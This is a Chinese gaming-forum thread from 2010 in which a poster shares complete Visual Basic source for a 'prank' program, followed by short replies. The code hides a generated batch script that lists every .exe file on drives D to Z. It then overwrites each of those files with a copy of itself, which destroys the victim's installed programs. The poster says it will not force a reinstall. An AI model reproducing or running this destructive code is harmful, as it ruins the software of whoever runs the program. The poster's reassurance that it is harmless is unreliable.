您好，欢迎来中华游戏网！请登录立即注册
一键打卡 每日打卡 龙鳞魔堡 金豆锻造 荣誉胸章 海底寻宝 非诚勿扰 虚拟刮奖 杂货道具 好友印象 心情随笔 中华银行 家族部落 积分兑换 图片上传 图片压缩 在线翻译 在线查毒
发表新帖 回帖
返回列表
第一页12尾页页码:1/2
No.81013
👦 十方破沙羅
登录解锁详细资料
  
猥琐兼淫荡的十方终于出手了。哈哈哈。、猪八戒。猪 ..
[道具][正序][只看他][屏蔽签名|屏蔽头像] 🪜楼主

一段要人命的vb代码

中华游戏网 cnyouw写于:中华游戏网-CNYOUW 👦会员:十方破沙羅 🕘时间:2010-09-13 03:00 👀围观:31891人 💬回复:13人

             -----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成（主要为了慢机器）
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub



PS:
其实我也不懂编代码..
不过这个嘛...我只能说...人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...
中华游戏网 cnyouw.cn中华游戏网 cnyouw
SIGNATURE
评分选定 举报
回复 引用
No.837088
👹 fenger_yan
登录解锁详细资料
  
🕘时间: 2013-08-09[只看他][屏蔽签名|屏蔽头像] 🪜宅13楼
楼主你太有才了！[懒人回复]
SIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报
回复 引用 评分
No.834296
👹 很安静
登录解锁详细资料
  
🕘时间: 2013-07-24[只看他][屏蔽签名|屏蔽头像] 🪜腐12楼
楼主你太有才了！[懒人回复]
SIGNATURE
铸造一个强悍的内心世界 容下需要的一切
评分选定 举报
回复 引用 评分
No.59391
👹 764454923
登录解锁详细资料
  
🕘时间: 2011-01-15[只看他][屏蔽签名|屏蔽头像] 🪜宅11楼
看不懂
SIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报
回复 引用 评分
No.277668
👦 明焕
登录解锁详细资料
  
🕘时间: 2010-11-17[只看他][屏蔽签名|屏蔽头像] 🪜腐10楼
在下在虚拟机中没有试出结果，，语言技术不行，也没有看出什么作用
SIGNATURE
就在这里的博客
评分选定 举报
回复 引用 评分
No.238858
👹 wang0899
登录解锁详细资料
  
🕘时间: 2010-10-06[只看他][屏蔽签名|屏蔽头像] 🪜宅9楼
顶一个,谢谢分享,学习了!
SIGNATURE
中华游戏网 — 玩你所玩，乐你所乐！cnyouw.cn
评分选定 举报
回复 引用 评分
No.81013
👦 十方破沙羅
登录解锁详细资料
  
猥琐兼淫荡的十方终于出手了。哈哈哈。、猪八戒。猪 ..
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜腐8楼
回 7楼(被游街の神) 的帖子
我只能说..这段代码不会造成文件损坏..不会让你重装系统..
你敢做勇敢的小白鼠吗?

另外..为什么总要在我名字前面加上YD二字呢?其实我很单纯的...
SIGNATURE
评分选定 举报
回复 引用 评分
No.68139
👦 飞翔の卡米
登录解锁详细资料
  
记得 有时间过来逛逛~~、游神，记得常回来看看、我觉 ..
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜宅7楼
YD的十方，你自己试过没
SIGNATURE
评分选定 举报
回复 引用 评分
No.35036
👦 流星落
登录解锁详细资料
  
☆上帝之遗弃之仔的幻影``。
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜腐6楼
话说恶搞的VB代码我只会写自动关机的
没学VB编程
SIGNATURE
评分选定 举报
回复 引用 评分
No.216231
👧 qinchoudaoti
登录解锁详细资料
  
🕘时间: 2010-09-13[只看他][屏蔽签名|屏蔽头像] 🪜宅5楼
看不懂，要不你再给来个讲解吧
SIGNATURE
开心每一天
评分选定 举报
回复 引用 评分
第一页12尾页页码:1/2
发表新帖 回帖
 中华游戏网 » 电脑技术交流
快速回复
验证问题:
在大明湖畔等皇上的是谁？ 正确答案:

Ctrl + Enter 快速发布
🤪为防止个别捣乱会员恶意灌水
注册会员发帖量达到 20 贴
即可解锁快捷表情发送